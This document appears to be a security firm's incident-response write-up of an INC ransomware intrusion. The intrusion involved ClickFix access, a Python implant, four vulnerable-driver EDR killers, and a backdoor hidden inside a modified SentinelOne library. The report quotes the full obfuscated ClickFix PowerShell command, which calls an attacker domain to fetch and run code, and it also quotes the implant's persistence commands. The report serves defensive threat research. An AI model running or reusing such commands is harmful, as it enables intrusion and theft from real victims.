Executive Summary

The Beazley Security DFIR and MXDR teams recently responded to an INC ransomware incident that began with a ClickFix infection and quickly escalated into credential theft, lateral movement, and repeated attempts to disable endpoint defenses. The affiliate deployed four distinct vulnerable drivers across the victim environment, alongside a backdoor concealed inside a modified library from a widely used EDR product.

What we observed exceeded the capabilities typically encountered in these engagements. Although it’s not uncommon to see BYOVD binaries used to bypass defenses, we usually observed only one such instance every handful of cases. Additionally, the malware used to facilitate data staging and exfiltration employed an interesting method for stealth. The author used what was originally a signed software library for a popular EDR product and embedded their implant into it. While the resulting file still appeared as the original benign library on the surface, the malware author did some rewiring to make it run properly in the target environment.

We believe this represents an incremental evolution in capability and an emerging trend worth tracking for future engagements. Before the vulnerable drivers, this one started by convincing the victim into helping the attacker gain access.

Key Findings

• 

  Ransomware operators and affiliates are gaining easier access to BYOVD packages

• 

  They are using those to reliably disable EDR defenses

• 

  Users should stay up-to-date with Microsoft's vulnerable driver blocklist

• 

  Malware authors are developing ways to leverage known good files to smuggle in malicious code

Initial Access via ClickFix

This threat actor obtained initial access to the network through a variant of the widely used ClickFix attack, where a victim user is tricked into pasting Windows or PowerShell commands directly into a command line. Logs indicate the user was browsing websites related to pet care and was served suspicious redirections to another website hosting malicious content. It is unclear whether the pet care sites themselves were compromised or whether they served malicious third-party advertisement content, but the result was a ClickFix attack infecting the user.

Shortly after the malicious page was viewed, the host logged a PowerShell command bearing telltale signs of a ClickFix payload, providing the threat actor with an initial foothold:

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -wINDow miNI [$]jyhL=@('values','a')[0];[$]wpS='Name';[$]sqv='ExportedCommands';[$]kEe=IPMO 'M*.P*.U*' -Pass;[$]kEe=[$]kEe.[$]sqv.[$]jyhL.[$]wpS;[$]kgpO=[$]kEe[52];[$]Qfg=[$]kEe[51];[$]BmG=.[$]kgpO deliberatst[.]net;[$]FTF=.[$]Qfg [$]BmG;[$]eFqBQzcvNUjUTFTYEWbAHIHRibVntUfzWkjSafQILSt

The deliberatst[.]net domain embedded in that command has been used in similar attacks against other organizations and had already been submitted to VirusTotal, returning a malicious reputation. Additional cyber security researchers noted that part of the infection chain utilizing this domain included a fake Cloudflare verification page, matching TTPs documented by Microsoft’s “TerminalFix” campaign reported around the same timeframe.

After obtaining initial access and pivoting to a few hosts, the threat actor proceeded to drop a Python implant with persistence by installing it via Windows registry runkey and scheduled tasks:

C:\Windows\System32\Tasks\UserExperienceSyncTask "C:\ProgramData\p\python-3.13.13-embed-amd64\pythonw.exe" "C:\ProgramData\p\bootstrap-fat.pyc"

C:\Windows\System32\conhost.exe --headless "C:\ProgramData\p\python-3.13.13-embed-amd64\pythonw.exe" "C:\ProgramData\p\bootstrap-fat.pyc"

The implant artifacts documented in forensic logging were already quarantined by endpoint protection, making them unavailable to retrieve for advanced analysis. However, the implant characteristics and name bootstrap-fat.pyc were unique enough to attribute the payloads as TWINLOOT python malware. This family of malware was also discovered and documented by Ontinue around the same time as our investigation.

Once initial access was obtained via the ClickFix variant, this threat actor began pivoting quickly. Standard post-intrusion activity was observed that involved harvesting credentials from one box and using any obtained credentials to attempt logins on other devices in the network. After initial access, we observed many RDP login attempts and a lot of pass-the-hash traffic.

The ClickFix payload established a way in, and our investigation would uncover that the operator had arrived with a deeper toolkit.

A BYOVD Buffet

BYOVD techniques are not new, but their use in ransomware incidents has historically been more limited than in APT operations. When encountered during ransomware investigations, it was typically a single vulnerable driver or toolkit used to disable EDR defenses.

Beazley Security DFIR teams assist with ransomware cases regularly, and this was the first time we observed four distinct BYOVD kits deployed across multiple hosts in a single intrusion. The volume suggests BYOVD is becoming more of a repeatable part of the ransomware playbook to defeat endpoint defenses when one approach fails.

The Known Drivers

To be clear, commoditized BYOVD packages have been available for a few years now. The core technique of trusted driver subversion is as old as Driver Signature Enforcement, the now two-decade-old system being subverted.

What has evolved is how well operationalized the method has become. The cyber security industry tracks the growing list of known vulnerable drivers to empower active defense, and lists can be found on LOLDrivers and the official Microsoft BYOVD blacklist. Two of the four kits identified in this investigation were already known and present on those blacklists:

• 

  xhunter1.sys – a vulnerable driver in Wellbia’s XIGNCODE3 (an anti-cheat engine)

• 

  BdApiUtil64.sys – a vulnerable component of Baidu Antivirus

One was discovered and reported in March of this year by Huntress:

• 

  havoc.sys – a vulnerable audio driver from Huawei

A Novel, Purpose Built EDR Blinder

The fourth BYOVD package appears to be novel. It included a malicious executable that handled installing the vulnerable driver and using it to hunt for and disable a list of EDR products. It also included a help dialog for third party criminal users.

After installation, it immediately dropped a driver file named “Redacted.sys” and installed it as a service. The driver file, which is originally named “IoDrv” according to internal debug strings, is a generic I/O device driver published by an electronics manufacturer in China. Renaming the vulnerable driver aligns with the branding seen in the wrapper utility, which calls itself “Redacted EDR Blinder”. Closer inspection of this wrapper executable reveals how it disables EDR functionality.

Figure 1: Redacted EDR Blinder help message

This EDR blinder specifically targets the driver files for a list of popular EDR products and “blinds” them by replacing critical functions with “RET gadgets”:

Figure 2: EDR software target list and “blinder” code

This effectively takes subroutines in those EDR products and overwrites them with an “exit” instruction, immediately exiting the patched function instead of executing normally. The list of targeted products includes:

• 

  Microsoft Defender

• 

  Field Effect Covalence

• 

  Kaspersky Endpoint Security

• 

  Bitdefender

• 

  Qihoo 360

• 

  SentinelOne

On a humorous side note, the author of this tool appears to have accidentally left in revealing developer-related debug information in the utility. While leaked information like this is easily faked and should be taken with a grain of salt, it can be useful to track and potentially attribute this utility to other threat actors or malicious tools by fishing in the VirusTotal archives.

Figure 3: whoopsie

The polished help interface suggests that this tool was not a one-off tool built for a single intrusion, but instead a commoditized product designed for reuse by other cybercriminals. This aligns with reporting from Eset describing a curated EDR killer toolkit used by the Gentlemen ransomware group. The variety of BYOVD drivers in this one case may be a sign that other affiliates and operators are developing this capability as well, collecting and curating their own EDR killer toolkits.

As the investigation progressed, we discovered vulnerable drivers were only one layer of their defense evasion tradecraft. One of the more interesting samples recovered during the investigation was a backdoor concealed inside a modified SentinelOne library, effectively hiding malicious functionality inside what appeared to be legitimate security software.

A Wolf in Sheep’s Clothing

The backdoor provided the INC affiliate with a standard, yet versatile malicious implant on the victim host. The range of activity observed implies this is a backdoor that allows “hands-on-keyboard” interactivity with the victim. Through it, the threat actor downloaded various file scanning and archiving utilities, modified local firewall rules, and installed a Wasabi client app to connect to commercial cloud storage infrastructure for data exfiltration.

In an interesting attempt to evade security defenses, the malware author appears to have taken a software DLL library file from SentinelOne and overlaid their malicious code directly into its .text section. Compared with a known-good sample of the software library, this DLL reveals how they embedded their malicious code into the DLL and rewired some parts so it could still execute.

Since any changes to the binary would invalidate the digital signature, they first simply stripped the signature. This was likely because any process that bothered to verify the digital signature would see the verification fail, raising immediate red flags and likely triggering quarantine. Other than the stripped signature and malicious additions, the library file still mostly looks the same. The malicious version still has the trappings of the original, with the embedded SentinelOne icon and the metadata that identifies it as a UI library.

Figure 4: Comparison of metadata, icon, and digital signature

In the screenshot above, the known-good version of the library is on the right, and you can see the tab where Windows reads and displays the digital signature. The bad version is on the left, where all the metadata is the same, but the signature is missing.

A closer look quickly reveals the added malicious components. In this case, the malware authors used the common trick of stuffing the payload in the resource section, where executable files can embed other files for internal use. The screenshot below shows the unmodified resource section of the library on the right, compared with that same section containing the encrypted malicious payload on the left (embedded as an object labeled with random characters):

Figure 5: .rsrc encrypted payload

The malicious version also still contains most of the implemented library functions visible and intact. Illustrated below is the original good version on the right compared with the malicious version on the left:

Figure 6: Library functions

The screenshot also illustrates another “re-wiring” the malware author had to perform to make the malicious version executable. They had to label an entry point and export it for Windows. Benign DLLs don’t often do that, as they are supposed to be loaded into an existing process and not started on their own.

Closer inspection also reveals where the author inserted malicious objects. The screenshot below compares a code section from a known-good copy on the right with the overwritten, malicious version on the left:

Figure 7: Malicious code inserted

Arbitrarily inserting the malicious code in the middle of an existing subroutine looks anomalous to a disassembler, which highlighted the now-broken code in red. This malicious code is full of junk commands for obfuscation, but functionally, it will eventually extract and run the encrypted payload from the resource section described above.

While the efficacy of this binary camouflage technique warrants further study, Windows Defender notably did not identify this implant as malicious in this incident. An EDR library missing a signature and a .DLL with an appended entry point was not enough to flag it for quarantine.

In this attack, the operator repeatedly repurposed legitimate, security-adjacent software components to undermine the controls intended to detect them. Vulnerable drivers continue to provide an effective path into the kernel for disrupting EDR products, while modified libraries borrow the appearance of legitimate security components to conceal a backdoor.

Conclusion

At their core, ransomware operations are a business and will continually evolve as defenders improve detections in response. This is what that evolution looks like. Separate threat actor groups will develop EDR killers and mature them to a stage where they can be easily sold, deployed, and swapped out like wrenches from a toolbox.

Doubly concerning, both techniques detailed above use vulnerable device drivers of trusted EDR software libraries to hide malicious code and processes. This demonstrates continued interest in the development of tooling to hijack legitimate systems to sneak in their tools. Many such BYOVD libraries exist already, and despite the categorization of the existing ones, attackers appear to be cataloguing their own and deploying them based on the specific restrictions each new host demands.

Indicators of Compromise (IOCs)

Sources

• 

  Microsoft: TerminalFix campaign deploys a reverse tunnel through multistage intrusion

• 

  Ontinue: Living Off the Cloud: A Python Implant Hiding Its Entire C2 Inside Microsoft 365 & Azure

• 

  BlackSnufkin: Hunting the Hunter: A Live Kernel LPE 0day in Anti-Cheat on a Billion Machines

• 

  Huntress: From W-2 to BYOVD: How a Tax Search Leads to Kernel-Mode AV/EDR Kill

• 

  Eset: Killing me gently: Inside Gentlemen’s EDR killer framework